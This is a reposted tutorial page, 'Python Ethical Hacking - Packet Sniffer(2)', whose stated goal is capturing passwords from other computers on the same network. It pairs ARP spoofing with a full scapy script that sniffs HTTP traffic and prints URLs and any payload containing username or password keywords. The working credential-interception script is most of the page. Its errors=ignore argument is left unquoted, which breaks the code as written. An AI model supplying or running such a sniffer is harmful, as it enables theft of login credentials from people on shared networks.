首页 > 编程语言 > 详细

Python Ethical Hacking - Packet Sniffer(2)

时间:2019-09-01 10:33:09      阅读:91      评论:0      收藏:0      [点我收藏+]

 Capturing passwords from any computer connected to the same network. 

ARP_SPOOF + PACKET_SNIFFER

  • Target a computer on the same network.
  • arp_spoof to redirect the flow of packets(become MITM)
  • Packet_sniffer to see URLs, usernames, and passwords sent by the target.
#!/usr/bin/env python

from scapy.all import *
from scapy.layers.http import *


def sniff(interface):
    scapy.all.sniff(iface=interface, store=False, prn=process_sniffed_packet)


def get_url(packet):
    return packet[HTTPRequest].Host.decode(errors=ignore) + packet[HTTPRequest].Path.decode(errors=ignore)


def get_login_info(packet):
    if packet.haslayer(scapy.all.Raw):
        load = packet[scapy.all.Raw].load.decode(errors=ignore)
        keywords = ["username", "user", "login", "password", "pass"]
        for keyword in keywords:
            if keyword in load:
                return load


def process_sniffed_packet(packet):
    if packet.haslayer(HTTPRequest):
        url = get_url(packet)
        print("[+] HTTP Request >> " + url)

        login_info = get_login_info(packet)
        if login_info:
            print("\n\n[+] Possible username/password > " + login_info + "\n\n")


sniff("eth0")

技术分享图片

 

Python Ethical Hacking - Packet Sniffer(2)

原文:https://www.cnblogs.com/keepmoving1113/p/11441145.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!